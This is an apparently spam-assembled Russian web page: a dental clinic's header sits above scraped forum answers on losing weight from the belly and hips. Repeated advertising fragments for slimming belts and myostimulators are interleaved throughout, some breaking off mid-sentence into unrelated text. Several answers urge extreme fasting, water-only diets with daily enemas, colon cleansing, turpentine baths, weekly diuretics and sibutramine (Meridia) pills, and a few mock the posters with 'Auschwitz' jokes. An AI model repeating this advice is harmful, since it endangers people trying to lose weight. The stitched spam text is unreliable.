Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Хочу похудеть?!

Рассыпьте 3 коробка спичек по комнате и собирайте их только так: наклонились подняли одну спичку и поднялись и так до тех пор пока не соберете все! собирайте по одной! наклон! одна спичка! и встали!

Как работает пояс для похудения.После того как Вы подключили его к сети, он начнет нагревать кожу, а кожа начнет потеть.Пояс для похудения миостимулятор.

Нужно меньше кушать. + заниматься спортом + ещё пить семена льна чтоб восстановить обмен веществ

Хочу похудеть? !
Не возражаю
:)

Договориться с желудком очень просто:
Смотрите на еду и повторяете про себя: "Две минуты во рту, 2 месяца на бедрах". Если не действует, бросайте Вы заниматься ерундой - худеть Вы на самом деле не хотите, не мучайте зазря организм.
А насчет физических нагрузок, существует мнение, что помогают только вкупе с ограничением питания. Но я не дохтур.

Худейте на здоровье если ХОТИТЕ! НО просто бег, гимнастика и т. п. не дадут эффекта, если после них будете есть пирожки, конфеты, сметану, майонез и т. п.
Пересмотрите свой рацион, от жирных продуктов откажитесь (от которых можете, или сократите объем потребляемый) , налегайте на белковую пищу, мучное и сладкое минимизируйте, пейте воду. Вечером не ешьте - ну можно кефир, чай без сахара, некоторые фрукты, за 3часа до сна ничего - так вы будете с гимнастикой в комплексе и худеть без стресса для организма!
Удачи вам и терпения!!!!

Надо меньше есть, и после 6 вообще не есть плюс потребуется занятия спортом либо прогулки или бег на свежем воздухе либо каждый день зарядка!..

Мы в социальных сетях JHealth.ru. Портал о похудении и здоровом питании.Миостимуляторы для похудения. 09.06.2014.Поэтому доктор, назначающий миостимуляцию, выбрал этот метод как оптимальный, он следит за подопечным, знает, как работает лечение и...

Проверено на себе стала легче за неделю на 4 кг. . нужна сила воли. . Если суп не лезет. . взбивайте блендером и пейте как лекарство. . Но результат будет очевиден.. .
Рецепт сжигающего жир супа:
6 средних луковиц несколько (по вкусу) помидоров (можно консервированных) , 1 небольшой кочан капусты, 2 зелёных перца, пучок сельдерея, 1 кубик овощного бульона.
Порежьте овощи на мелкие или средние кусочки, залейте водой. Приправьте солью, перцем и если хотите карри или острым соусом. Кипятите на большом огне 10 минут,
затем сделайте маленький огонь, и продолжайте варить, пока овощи не станут мягкими.
Этот суп можно есть в любое время, когда вы голодны. Ешьте его столько, сколько хотите, и тогда когда хотите ---суп не добавляет калорий. Наполните им утром термос,
чтобы прихватить с собой, если в течение дня вы будите находиться вне дома или отправляетесь в поездку.
Однако не следует питаться исключительно этим супом. Рацион необходимо пополнять другими компонентами.
День первый. Суп и фрукты. Вы можете есть любые фрукты, кроме бананов. В дынях и арбузах меньше калорий, чем в большинстве других фруктов. Ешьте только суп и фрукты. В качестве питья можно использовать чай без сахара, клюквенный сок, кофе без сахара или воду. Не добавляйте молоко в чай или кофе. Пейте много воды.
День второй. Суп и овощи. Можете есть все овощи, какие хотите. Ешьте, пока не насытитесь. Можете есть сырые, свежие или консервированные овощи. Допустима и листовая зелень. Ешьте всё это с супом. Держитесь подальше от сушеных бобовых, зелёного горошка и кукурузы. Во время обеда в этот день можете наградить себя печёной картошкой с маслом. Не ешьте никаких фруктов. Пейте воду.
День третий. Суп фрукты и овощи. Ешьте суп и все овощи и фрукты, какие хотите, но сегодня без печёной картошки. Если вы действительно в течении трёх дней полностью придерживались диеты, то вполне могли потерять к этому времени от 5 до 7 фунтов. Пейте воду.
День четвёртый. Суп, фрукты и овощи, включая бананы и снятое молоко. Сегодня разрешены бананы и снятое молоко. Можно съесть три банана и выпить так много стаканов воды сколько вы в состоянии, параллельно с супом. Ешьте так много супа, свежих овощей и фруктов, сколько вам хочется, но бананов только три.
День пятый. Говядина и помидоры с супом. Сегодня можно есть говядину и помидоры. Можете съесть 10-20 унций ( 1 унция ---28,35 г в английской системе мер массы ) говядины и консервированные или свежие помидоры, сколько хочется. Постарайтесь выпить 6-8 стаканов воды в этот день. Хотя бы раз в день поешьте супа.
День шестой. Говядина и овощи ( особенно листовые ) плюс суп. Говядину и овощи ешьте досыта, сколько душа просит. Если у вас есть желание, можете съесть 2 или 3 бифштекса и все зелёные листовые овощи, какие хотите, но никакой печёной картошки. Обязательно хоть раз в день поешьте супа. Пейте воду.
День седьмой. Коричневый рис, фруктовый сок, овощи и суп. Сегодня вы можете есть коричневый ( не ободранный ) рис, не сладкий фруктовый сок и овощи. Снова наешьтесь досыта. Обязательно хоть раз в день поешьте супа. Рис можно добавить к супу, либо овощи могут быть приготовлены и добавлены к рису. Могут быть добавлены резаные лук или помидоры, цветная капуста. Не запрещается приготовить овощи с карри. Пейте воду.

Любите себя ...не зацикливайтесь на этом ...просто найдите себе интересное увлечение и про еду забывать будите

Я купила себе миостимулятор и очень довольна

Девушки Худел кто нибудь с помощью L-карнитина Как результаты Стоит пробовать?

Думаю что нет,попробуй лучше меридиа,действие такое же,зато препарат качественный

Миостимулятор AbTronic X2 - пояс для похудения и укрепления мышц брюшного пресса, которыйМиостимулятор AbTronic X2 работает от двух батареек ААА.Нефтеловушка ПЭСИО, это картридж в колодце на выпуске автомойки или на сети дождевой канализации.

Насколько мне известно, это препарат, повышающий аппетит. Вряд ли с ним вам удастся похудеть.

Когда я работала в спорт клубе барменом, хомячила батончики с L-карнитином. Какая была, такая и осталась (правда, у меня и нет проблемы с весом). Но они такие вкусные. Я на них так подсела.

Ничего дельного не скажу, сама искала инфу по этому вопросу. Одни пишут, что хорошо помогает сжигать уже накопившийся жир, но его надо принемать перед тренеровков и заниматься до седьмого пота. Другие - что это ерунда. Так и не поняла для себя ничего .Если узнаешь что-то нипиши и мне плиз.

Этот препарат используют только совместно с физическими нагрузками, поскольку он превращает жир в энергию, благодаря чему занятия в спортзале становятся более результативными. Если ты хочешь пить этот препарат, не увеличив физ.нагрузку и не отказывая себе в еде, лучше попробуй что-нибудь другое. Удачи!

L-карнитин был открыт русским ученым В. Г. Гулевичем в 1927г. В первоначальных описаниях встречается такое обозначение карнитина как витамин «Вт» . Еще карнитин называют витамин роста за его способность значительно ускорять рост людей в молодом возрасте. Потребность взрослого человека в карнитине составляет от 200 до 500 мг в сутки, но она резко возрастает при физических нагрузках. Внутренний синтез и повседневное меню не полностью обеспечивают потребность организма в карнитине, что ставит вопрос о необходимости его дополнительного потребления.
Что такое человеческий жир? Его химический состав относительно прост. По большей своей части подкожный жировой слой состоит из триглицеридов - эфиров глицерина с длинноцепочечными жирными кислотами.
С помощью карнитина осуществляется мембранный транспорт этих молекул жирных кислот в митохондрии.
Функции карнитина в организме человека, заключающиеся в том, что карнитин является необходимым компонентом митохондриального  - окисления жирных кислот, чем обеспечивается участие жиров в энергетическом метаболизме. Процесс – окисления жирных кислот как источник энергии особенно необходим в условиях стресса, повышенной нагрузки, и недоедании.
Все препараты, использующиеся ранее в процессе лечения ожирения, действовали на организм, лишь частично способствуя усилению распада жировых молекул. При этом кровь наполнялась большим количеством жирных кислот и глицерина. Наводнение крови жирными кислотами сопровождалось повышением температуры тела, усилением нервной возбудимости, появлением тахикардии, так как они, окисляясь в организме, образуют высокотоксичные соединения, известные под названием свободных радикалов. При этом происходит повреждение всех клеточных мембран и, как следствие, поражение всех без исключения органов и систем организма. Свободнорадикальное окисление клеточных мембран - это одна из основных причин старения организма. Ему также приписывают ведущую роль в развитии таких болезней, как рак и атеросклероз.
Уникальная особенность карнитина состоит в том, что он повышает проницаемость клеточных мембран для жирных кислот. Не усиливая при этом скорости распада жировой ткани, он повышает усвоение жира организмом на энергетические цели, помогает проникать жирам из крови через клеточные мембраны внутрь мышечных клеток, где они успешно сгорают с выделением энергии. Только таков механизм расхода жировой ткани!
С началом приема карнитина в процессе комплексного лечения ожирения, начинается стойкая потеря жировой ткани с постоянной скоростью. При этом резко повышается эффективность окисления жиров в организме, т. к. теперь уже жирные кислоты дают не токсичные свободные радикалы, а энергию, запасаемую в виде АТФ. Эта энергия и должна быть израсходована в процессе специально подобранных аэробных физических нагрузок. Не пугайтесь этого слова. В дальнейшем вы узнаете, что физические нагрузки бывают совершенно неутомительными и порой даже приятными. Но этому будет посвящена отдельная глава моей книги.
Но прием этого препарата имеет некоторые особенности.

Миостимуляторы кроме совсем профессиональных НИКОГДА не питают от сети, иначе есть риск оказаться под сетевым напряжением.Магазин Дайте две! . Адрес ул. Молокова, 1 1 павильон на остановке Городок . Звоните 8 923 784 68 54 Работаем понедельник-суббота с 11...

Это хороший жиросжигатель, но БЕЗ ФИЗ. НАГРУЗОК ОН НЕ РАБОТАЕТ!! !
Вот хорошая бесплатная рассылка как раз про это с бесплатными консультациями специалиста!
http://subscribe.ru/catalog/science.health.beauty.fizraforever
ПОДПИШИСЬ!
Сегодня в 19 часов будет выпуск про миостимуляторы и вибротренажёры!! !

Рекомендую посмотреть мою электронную книгу "Жесткая диета и смежные вопросы" о здоровье и похудении. Там вы сможете ознакомиться с личным опытом автора проведения полных голоданий и жёстких диет, а также прочитать материалы, которые будут интересны тем, кто желает похудеть. Чтобы открыть книгу, кликните здесь.
L-карнитин помогает сжигать жир, но не нужно уповать на него одного.

Поспорила избавится от животика приличного,остался месяц...

Фак, я тоже толстый. Но если бы мы с тобой истошно занимались этот месяц сексом, то гарантированно похудели бы оба.

Как работает пояс для похудения.Вибромассаж после надевания пояса для похудения и подключения его к сети, начинается массаж, который происходит ввиду работы специальных крутящихся валиков, встроенных в пояс.Пояс-миостимулятор.

Всё, что вы сами перечислили + бодифлекс + постоянно втягивать живот и держать осанку))

Заниматься надо спортом!! и не лениться!

Тебе килограмм 5 надо скинуть, за месяц это не мало

Да, точно! ! Но сможешь выдержать?

Пресс! Диета! больше жидкости.. . обёртывания... с альгинатной маской желательно. . Массажи ежедневные.. . надо ещё и лимфодренажный массаж! Миостимуляторы.... может за месяц и получится... Желаю удачи1 если всё выйдет, напишите мне..

Аппарат работает от сети и от батарейки 9В. В комплект входит 4 электродных накладки, 2 чашечки для ухода за грудью, сетевой адаптор и бесплатный гель алоэ-вера 50гр.... Миостимуляторы. Пояс для похудения Мини Турбо.

За месяц, если использовать то, что вы перечислили-можно и большего достигнуть.
А так, всё очень быстро, только за деньги, но никто не даст вам гарантии-выйдите ли вы из наркоза....

Ещё к перечисленному можно добавить: пить не менее 1,5 литра ВОДЫ чистой, негазированной, промывание кишечника КАЖДЫЙ ДЕНЬ (в удобное время) и скипидарные ванны. Похудеешь стопроцентно и тело останется молодым и подтянутым. Удачи!

Никакой еды вообще, а не после 19-ти!
сидеть к примеру только на арбузах (огурцах) и зеленом чае!
упражнения для пресса делать по неск раз в день, обязательно до вспотения.. .
хорошо бы сауну, баню и массаж
очень хорошо помогает миостимуляция

Блин, у меня тоже с животом заморочки :( Попробуй бегать и с обручем заниматься

Попробуй разделить питание. Ешь и не пей. Пей, но не ешь. Я не про алкоголь. И еще. Белки ешь отдельно, углеводы отдельно. Если мясо, то только мясо. Если кашу, то без белков. Посмотри в Интернете "раздельное питание". И действуй. Получится даже раньше.

Купить миостимулятор для мышц бабочка всего за 465 руб. в интернет магазине товаров для похудения и коррекции фигуры.Стимуляция мышечных групп без физических нагрузок Вы занимаетесь своим делом, а миостимулятор бабочка в это время эффективно работает.

Отказаться от сладкого, жирного, изделий из белой муки. Не кушать после 17.00.И спорт 1-2 часа каждый день!

10 дней на одной воде + кружка Эсмарха минус 7-9кг

Это не животик, детка, это - животяра, и избавиться от него не удастся не только за месяц. У тебя нарушен обмен веществ, а следовательно, нарушена работы щитовидной железы. Так что, спор тебе не удастся выиграть.

Секасом почаще занимайся...

Тупо, но просто месяц не есть, а только пить воду с лимоно, первые 3 дня тяжело, потом привыкнешь!

Если миостимуляция проводится для похудения или уменьшения целлюлита, минимум два часа после процедуры можно есть только овощи иМагнитотерапевтический аппарат АЛМАГ-01 , работающий от батареек и от сети - можно использовать в качестве миостимулятора.

Ну ко всему, что описано выше, чтобы избавиться за 1 мес нужно подключить еще препараты для похудения ( Линдакса, ЛиДа и т. д.)

Упражнения точно помогут. Только заниматься ежедневно. Попроси какого-нибудь тренера (в фитнес-центре или ещё где-нибудь) показать тебе упражнения для прямых и косых мышц живота. Или в библиотеке посмотри в каком-нибудь журнале (типа "Здоровье").Обязательно обрати внимание на бока. Т. е. наклоны и повороты туловища (а ещё лучше хула-хуп) должны быть в твоей программе. И откажись от джинсов на бёдрах. Дело в том, что они перетягивают тело не на том уровне, на котором надо. Как следствие, подушки на боках и животик. Пояс должен быть на талии, особенно, если он затянут достаточно сильно (как у джинсов бывает) . Тогда даже при небольшой полноте у девушки будет и талия, и попа.
Успехов тебе, и красоты неземной!

При беге очень хорошо сбрасывается вес, а для лучшего эффекта можно ещё область живота пищевой плёнкой обернуть, и пресик можно покачать для улучшения эффекта.

Да уж (((( Если бы это было так просто- месяц и ты стройняга. Слишком много вы успели наесть.

У метро Марьино в Москве есть шейпинг-зал, там тренер опытный, тебе поможет.

Сайт работает как оптовый интернет-магазин. Для доступа к ценам и заказам отправьте заявку.Массажеры бывают разными для лица, ног, спинной массажер, массажеры для похудения, миостимуляторы.

Жерминальчик, радость! Если тебе не жалко 1,5 тыс. рублей сходи в аптеке возьми Меридиа (28 капсул по 10 мг.) , но предварительно почитай чтобы у тебя не было противопоказаний!! !
Я буквально вчера не допила 3 капсулы, временно прекратила, потому что за неполные три недели я сбросила ровно 5 кг. (это очень много за такой короткий срок) , поэтому чтобы у моего организма не случилось шока я временно прекратила их пить. Но организм по-инерции (уже привык) не требует от меня многого (сладостей и проч.) .
При этом я далаю одно ШИКАРНОЕ упражнение (йоги научили) , которое стимулирует работу кишечника, перильстатики, улучшает кровообращение:
вдыхешь как можно больше воздуха животом! , чтобы больше уместилось подыми руки, затем выдыхаешь и наклоняешься как можно ниже, чтобы как можно больше воздуха из тебя вышло. Как только воздух вышел, задерживашь дыхание, тут же выпрямляешься, и начинаешь сокращать живот так как будто ты дышишь (втянула -отпустила-втянула-отпустила) . Стараешься делать быстро, насколько хватат задержи дыхания. Затем - вдох. Минуту отдыхаешь, восстанавливаешь дыхание. И снова. Я это упражнение делаю при каждой удобной свободной минутке. 2-3 раза сдалал. часа через два опять. Что хорошо - не надо до изнеможения, эти дурацкие физич. упражнения, чтобы потеть, вонять. Глупости. И между прочим в йоге много таких упражнений, при которых не надо потеть-вонять, но при этом праильно дышим, и подтягиваются мышцы.

Можешь сходить на процедуры в салон

Понимаю.. . таже беда :(
Шансы есть, ничего вообще не есть! Такое возможно, если себя ограничивать, т. е. есть сила воли или заболеть и пить таблетки, от них тошнит на расстоянии от еды! и.... подкачивать прессик! А то кожа будет "висеть"

Могу разочаровать по поводу "животика", это не совсем животик, он сверху идет (из под груди) , еще бы пару фоток, но по этой можно сказать, что стенки брюшины слабые и даже если скинуть кг. 7-10, то обвиснет и качание пресса не факт, что поможет, возможен эффект "печенного яблока", удачи конечно и хватит жрать

За месяц реально откажитесь от соли вообще, от жира сладкого и мучного побольше овощей как засосет фрукты ягоды можно очень вкусно убрать живот если это цель

Пояс миостимулятор работает от батареек 3 ААА , поэтому его максимально удобно использовать в спортзале. Пояс можно использовать для разогрева перед тренировкой, непосредственно во время тренировки для усиления нагрузки...

Мы тебе поможем выйграть спор, возьми себя в ежовые руковицы, каждый день с утра, выпивай кефирчика 0.5л и сухари, затем разминка и занятия фитнессом, ешь арбузов по-больше и ходи в баньку, и сходи на обёртывания. Удачи!

Надо просто взять себя в руки. Не обижайся, но я не понимаю, как можно так себя запустить

Тебе и без спора давным-давно пора худеть)

Да нормальная ты, идеальные люди только на обложке и то под макияжем, не парься.

Потрудиться придётся много.

Как работает пояс для похудения.После того как Вы подключили его к сети, он начнет нагревать кожу, а кожа начнет потеть.Пояс для похудения миостимулятор.

Срочно на раздельное питание и качать пресс... однозначно результаты будут!!!!

Зря вы время потеряли! Хотя вам надо как минимум полгода усердных тренировок! Кстати, про диету тоже не забываем! Тогда через указаный промежуток времени себя не узнаете!

Получится-неполучится, а попробовать стоит. В любом случае результат будет только положительный.
Только вот из всех советов постарайтесь выбрать наименее самоубийственные.
Реакция организма на сильный стресс, которым является изменение привычного пищевого режима, голодание, ежедневные клизмы и прочие "изыски" может быть непредсказуемой.
Мне лично хорошо помогали разгрузочные дни. ! день в неделю, но! перед и после этого дня нельзя есть животные белки и тяжелую пищу.
Ну и физические управжнения. Кстати, говорят быстрая ходьба гораздо эффективнее бега.
А главное - ВЕРИТЬ!
Успехов.
Напиши через месяц, что получилось.

Вам помогут только силовые упражнения ...и за месяц результата ВЫ НЕ ПОЛУЧИТЕ ...силовые урпжнения в тринажерном зале под чутким руководством инструктора ...ни какие диеты ...Вам не помогут более того я бы ВАМ посоветовала крутить обруч сейчас есть обручи в продаже весом два кг с внутренней стороны с массажем ух первые три дня все бока будут синие но потом ляпота ...Если Вы хотите менять фигуру то работы будет много ...ЕСЛИ вам КАМФОРТНО в ВАШЕМ теле это прекрасно и спортить не стоит на то чтобы что то менять ...очень много мужчин любят как раз за что то подержаться у женщины а не спать с костями и СЛАВА БОГУ что стандарт куклы барби уходит в прошлое потому что люди все разные и вкусы у всех разные и каждому по потребностям чтобы было в этом мире .
Счастья ВАМ .

Фруктово-овощная, кифирная диеты, бег по утрам хотя бы можно и по вечерам, спорт зал

Мы в социальных сетях JHealth.ru. Портал о похудении и здоровом питании.Миостимуляторы для похудения. 09.06.2014.Поэтому доктор, назначающий миостимуляцию, выбрал этот метод как оптимальный, он следит за подопечным, знает, как работает лечение и...

Привет. Ты знаешь, у меня знакомая здорово вот на этой диете похудела (ну и животик подтянулся заметно) РЕКОМЕНДУЮ :
В течение 13 дней благодаря японской диете теряется 7 - 8 кг веса. В этот период организм выходит на большие обороты. Японская диета регулирует в течение короткого времени обмен веществ в организме и перестраивает его на иной ритм. Создатели японской диеты гарантируют продолжительный результат по крайней мере на 3-летний период
http://anita.bestpeople.ru/category/kras ...
и вот много проверенно-действенных:
http://anita.bestpeople.ru/ в разделе "ДИЕТЫ"
Очень рекомендую-посмотри-проверенно, опытом, как говориться. . =)))
Источник: Если собралась худеть-- Удачи тебе дорогая, в столь не легком женском труде!!!.; )

Первым номером нашей программы обязательно - хороший завтрак утром, но без сахара, хлеба и жиров. Никаких сладостей и бутербродов в течении дня, обед обычный но без жиров и сахара - вечером кифирчик нежирный лучше "- Детский"- и без ужина чай без сахара можно лимончик или яблоко, и раз в неделю мочегонное (2 кг в неделю)

Подскажите быструю диету

Голодание

Миостимулятор AbTronic X2 - пояс для похудения и укрепления мышц брюшного пресса, которыйМиостимулятор AbTronic X2 работает от двух батареек ААА.Нефтеловушка ПЭСИО, это картридж в колодце на выпуске автомойки или на сети дождевой канализации.

Танька! Привет!! ! Быстро жрёшь - быстро худеешь!! ! Надеюсь ответил очень быстро!!!

Для начала необходимо узнать процентное соотношение в вашем организме жировой, мышечной, костной ткани и процент воды в зависимости от вашего роста, веса, возраста и на основании ваших показателей составить схему питания с добавлением физических нагрузок и хорошей мотивации. Результат не заставит себя долго ждать

Для начала попробуй любимую. на ней можно скинуть до 10, а там можно и на более жесткие

Освенцем...

Нуу, жри траву, что ещё сказать, жри всё что жрут травоядные.
Ни мяса, ни конфет.
Можешь купить ещё пояс миостимулятор.

Миостимуляторы кроме совсем профессиональных НИКОГДА не питают от сети, иначе есть риск оказаться под сетевым напряжением.Магазин Дайте две! . Адрес ул. Молокова, 1 1 павильон на остановке Городок . Звоните 8 923 784 68 54 Работаем понедельник-суббота с 11...

Да жри меньше не поможет 30-40 кг это серьезный вес.... тут надо жизнь менять, возможно даже некоторые привычки.... другой вопрос как менять ведь все налажено.... даже если ты похудеешь на 30 кг, вернувшись к прежнему образу жизни вернуться и 30 кг а может и больше.... другого пути нет ((( никакие мази чаи системы и. т. д - просто пустышки.... правда на самом деле, черт побери, горькая ((((((((((((((((( шоу "зважени и щасливы" там люди которые сбрасывали по 60-80 кг они просто меняли свою жизнь посомтри как они жили до и как после.. . 2 большие разницы,...

К диетологу, экстримальные диеты дадут результат но на время, потом вернутся еще больше. только правильное питание. Жиросжигающие продукты :грейпфруты, зеленый чай. Минимум сахара, а лучше вобще исключить. Готовьте еду на пару, мясо не жирное. больше овощей. Главное не голодайте. лучше есть раза 4 -5 в день но по чуть чуть. Вместо ужина стакан обезжир. кефира. И конечно же физические трениовки

Не стоит увлекаться новомодными диетами. Таблетки для похудения, может, и притупляют на время аппетит, однако организм быстро к ним привыкает. В результате либо возвращается аппетит, либо замедляется обмен веществ и ты снова набираешь вес, либо возникают какие-то побочные эффекты — головокружение, высокое давление, тревожные расстройства и даже медикаментозная зависимость. То же самое можно сказать и о мочегонных средствах, и о препаратах, ускоряющих обмен веществ.
Сбалансированное питание и умеренная, но регулярная физическая нагрузка, напротив, помогут тебе чувствовать себя и выглядеть как можно лучше. В меру занимаясь фитнесом несколько раз в неделю, ты обязательно почувствуешь результаты. Порой достаточно даже быстрой ходьбы или подъема по ступеням.

30-40 кг -- это, конечно, очень много, и лучше всего действительно обратиться за советом к врачу-диетологу. Пока же можно дать только общие советы, следование которым не навредит, но и несильно поможет, к сожалению. Во-первых, нужно есть больше злаков: они улучшают пищеварение и медленнее усваиваются организмом, так что чувство голода будет наступать реже. Ешьте цельнозерновые хлопья, пророщенную пшеницу, отруби, хлебцы из цельного зерна и т. д. Во-вторых, употребляйте побольше кисломолочных продуктов: йогурты, кефир, ряженка и т. п. --ваши лучшие друзья. Очень часто избыточный вес связан с нарушением функции пищеварительной системы, а кисломолочные продукты способствуют ее восстановлению. Наконец, не ешьте никаких "быстрых углеводов". Это конфеты, тортики, порожные и булочки. Все это, конечно, очень вкусно, но абсолютно бесполезно для организма. И наконец -- не ешьте позже, чем за 3 часа до сна (лучше не есть после 7 вечера) и спите не менее 8 часов в сутки, чтобы компенсировать недостаток энергии не за счет еды, а за счет естественного отдыха. Кроме того, очень полезно есть понемногу, но часто. То, что мы едим, начинает усваиваться лишь через 20 минут после употребления: только подумайте, сколько всего лишнего можно съесть за 20 минут!
И еще. Ни в коем случае не начинайте резко голодать. Если вы внезапно перестаете есть, у организма начинается паника, он "думает", что его больше кормить вообще не будут! И начинает откладывать жир про запас. :-) Так что живот уменьшаться не будет, а вот плохое настроение и раздражительность -- гарантированы!
Удачи Вам и душевных сил!!!

Диеты все индивидуальные и 95% их не выдерживают. В итоге набирают еще больше.
Даю простые, но эффективные рекомендации:
•пить минимум 1 стакан не кипяченной воды за 30 минут до еды;
•ходить не мене 10000 шагов в день со скоростью 5-6 км в час;
•перейти на дробное питание 5-6 раз в день;
•ограничить потребление насыщенных жиров до 40 г в день;
•исключить трансжиры (Жиры бывают трех видов - ненасыщенные (полезные) , например, рыба некоторых сортов, насыщенные -колбаса, сыр и трансжиры (очень плохие) , например, маргарин;
•с удовольствием потреблять продукты с ненасыщенными жирами, так как они содержать очень полезные вещи, например, жирные кислоты омега -3);
•есть ржаные или пшеничные отруби;
•плотно завтракать;
•алкоголь ограничить и лучше всего пить немного красного вина;
•кока пепси и другие сладкие напитки убрать из рациона подальше и не приближаться к ним ближе, чем на 25 км;
•хорошо спать;
•Сладкое мучное сдобное. Это простые углеводы они очень быстро превращаются в жир. Надо ограничить, но совсем убирать из рациона не следует. Иногда надо себя побаловать.
Попробуйте эффективное средство для похудения –клипсу с нанопокрытием, которая сочетает идеи иглоукалывания и нанотехнологий.
Она действует слабыми электромагнитными колебаниями на точку голода на козелке и помогает с ним справиться.
Кроме того нормализует обмен веществ, работу эндокринной системы и другое.
Еще много полезного для похудения смотрите на блоге Похудение21век

Как работает пояс для похудения.Вибромассаж после надевания пояса для похудения и подключения его к сети, начинается массаж, который происходит ввиду работы специальных крутящихся валиков, встроенных в пояс.Пояс-миостимулятор.

Как похудеть в бедрах?

Только массаж и гидромассаж - у самой была такая проблема... что только ни перепробовала - страшно вспомнить - ничего не помогало!
Только массаж профессионального массажиста и гидромассаж
(я даже в доме у себя установила гидромассажный душ)

Аппарат работает от сети и от батарейки 9В. В комплект входит 4 электродных накладки, 2 чашечки для ухода за грудью, сетевой адаптор и бесплатный гель алоэ-вера 50гр.... Миостимуляторы. Пояс для похудения Мини Турбо.

Широкие бедра - это класс.есть за что подержаться.

Больше ходить пешком и упражнения для бедер, но мужчина вам правильно сказал, это хорошо когда широкие бедра. :))))))

Покупаешь себе диск и дорогой антицеллюлитный крем(не какой-нибудь там эйвоновский,а виши, например). На диске,каждый день катаешься 15-20 минут, а потом вечерком делаешь себе хороший массажик этим кремом!

Секс - наилучший способ, и для самооценки и для всего организма. . только при условии удачного выбора позы и полнейшей самоотдаче!

Антицеллюлитный крем avon,пользоваться нужно не менее 4 недель, дважды в день.

Купить миостимулятор для мышц бабочка всего за 465 руб. в интернет магазине товаров для похудения и коррекции фигуры.Стимуляция мышечных групп без физических нагрузок Вы занимаетесь своим делом, а миостимулятор бабочка в это время эффективно работает.

Жрать полезное,а не вредное

Липоссакция!!!

В спортзал. Тренер подскажет упражнения.

Ходи в спорт зал! !
не смотри рекламу!!

По моему ничо не поможет кроме как асвенцен

Если миостимуляция проводится для похудения или уменьшения целлюлита, минимум два часа после процедуры можно есть только овощи иМагнитотерапевтический аппарат АЛМАГ-01 , работающий от батареек и от сети - можно использовать в качестве миостимулятора.

Только спорт и правильное питание! Не до фанатизма конечно!

Кушай меньше и занимайся спортом....утренней пробежечкой и т.п. и все будет чики пуки=)

Ой, блин, у самой жопа толстая! Говорят, лучше всего растяжка! Ну вот я каждый вечер вместо ужина на шпагатик..! Но если честно, ни хрена не помогает!

Bol'she hodit', rezul'tat momental'no, nu i kushat' pri etom, konechno, zdorovuyu pischu, togda zhiri ravnomerno raspredelyayutsya. A voobsche, u zhenschini dolzhni bit' bedra, v etom to i prelest'!!!!

Меньше есть, больше двигаться

Сайт работает как оптовый интернет-магазин. Для доступа к ценам и заказам отправьте заявку.Массажеры бывают разными для лица, ног, спинной массажер, массажеры для похудения, миостимуляторы.

Конечно занимться спортом, кушать в меру, заниматься сексом. А самое главное себя ценить и любить.

Есть такая вешь - миостимулятор. Стоит порядка 1000 -2000 у.е. Правда эти процедуры я делаю в мед центре. Аппаратик похож на их. Через несколько месяцев (если без фанатизма) будет очевидный результат.

Не есть после 6 ч.(вечера), походи на восточные танцы. Конечно в один момент твои бедра не сократятся в размерах, но зато ты поймешь что твои широкие бедра не недостаток. И не нужно на этом зацикливаться.

Похудеть посредством спорта и ограничений в еде, конечно, можно. но нужно отметить, что для каждой из нас такое похудение будет даваться с разным уровнем сложности. всё зависит от организма. для меня, например, будет очень трудно не есть сладкое и мучное, делать приседания каждый день и качать пресс. в жизни и так много разных ограничений, зачем себе отказывать даже в любимой еде? поэтому я давно забила на это, живу и радуюсь жизни. и парня моего всё устраивает (кстати, особенно мои широкие бёдра)) ) советую не заморачиваться.

А еще можно обруч покрутить...

Пояс миостимулятор работает от батареек 3 ААА , поэтому его максимально удобно использовать в спортзале. Пояс можно использовать для разогрева перед тренировкой, непосредственно во время тренировки для усиления нагрузки...

Не ходить на танец живота и питьь гербалайф

Мне 35. у меня в помине нет признаков целлюлита и с бедрам все ОК.
Мой способ:
1. Утром пробежка очччччень легкая, 10-15 минут (можно и без нее, конечно, лень) ,
2. растирание ладонями тела, особенно проблемных мест;
3. Разминка практически детсадовская - ручки вверх, вращение головы, растяжка, главное - наслаждаться процессом и делать все медленно, по чутью, по ощущениям подбирая себе упражнения.
4. Потом: на 1-2 минуты залесть в ванну с холодной водой, которую надо налить с вечера, либо облиться 3 раза.
Вечером ем только салаты или ойгурт. По возможности хожу в бассейн и плаваю час. Летом каждый день купаюсь.
Всем рассказываю, способ работающий, но не встречала ни одной женщины, которая попробовала бы мой способ на практике : кому же охота подвергать себя ТАКИМ пыткам :-)))))) бегать?!?! нет! обливаться?! ? брыыыыы.. .

Главное - не лениться.
пробежка в спец шортах с эффектом сауны - часок в день, вместо ужина - это для быстрого сброса объемов. а для поддержания формы - только бассейн, потому что идет не просто нагрузка на мышцы, но и своеобразный гидромассаж

Девочки,самый лучший метод и самый приятный-в сексе быть сверху*)Теряешь все лишнее на бедрах буквально за пару сеансов*)Дерзайте*)

Заниматься по-больше сексом

Как работает пояс для похудения.После того как Вы подключили его к сети, он начнет нагревать кожу, а кожа начнет потеть.Пояс для похудения миостимулятор.

Приседания делать по 5 раз, пятнадцать или тридцать в день.

Если они у тебя очень широкие, то можно и упражнения поделать, а если простоширокие, то нефиг заморачиваться! сецчас очень много девушек с абсолютно не женственной фигурой. ты тоже стать такой? (плечи шире бедер)

Займитесь йогой и правильно питайтесь! Жир на бедрах - позор! и молитесь, чтобы он не увеличился!

Следить за своим питанием.заниматся танцами

У Дженифер Лопес офегенно широкие бедра и тем не менее она считается супер секси.Я смотрела передачу какая то женщина ,жена богатого дядьки вообще делала операцию по увеличению бедер!!Потому что ее друг фанат Лопес .НА скус и цвет товарищей нет.ЛЮбите себя и будьте щасливы:))

Мы в социальных сетях JHealth.ru. Портал о похудении и здоровом питании.Миостимуляторы для похудения. 09.06.2014.Поэтому доктор, назначающий миостимуляцию, выбрал этот метод как оптимальный, он следит за подопечным, знает, как работает лечение и...

Худеть нужно в талии. бёдра должны быть большие =)

Влюбиться!!!!

Носить бёдра при себе и крестить их по всякому! Могут испугаться и что останется, то останется!

А вот в бедрах худеть не надо! в этом вся прелесть, худейте лучше в талии....

,привет: ) ..берешь.. . гель -мусс floralis для упругости живота .. его ..мажешь ..на бедоа ..бока ..и живот ..и обматываешься ..пленкой ..пищевой ..плотно ..и ходишь ..по 3-5 часов ..в день ..эффект есть ..проверено !!!

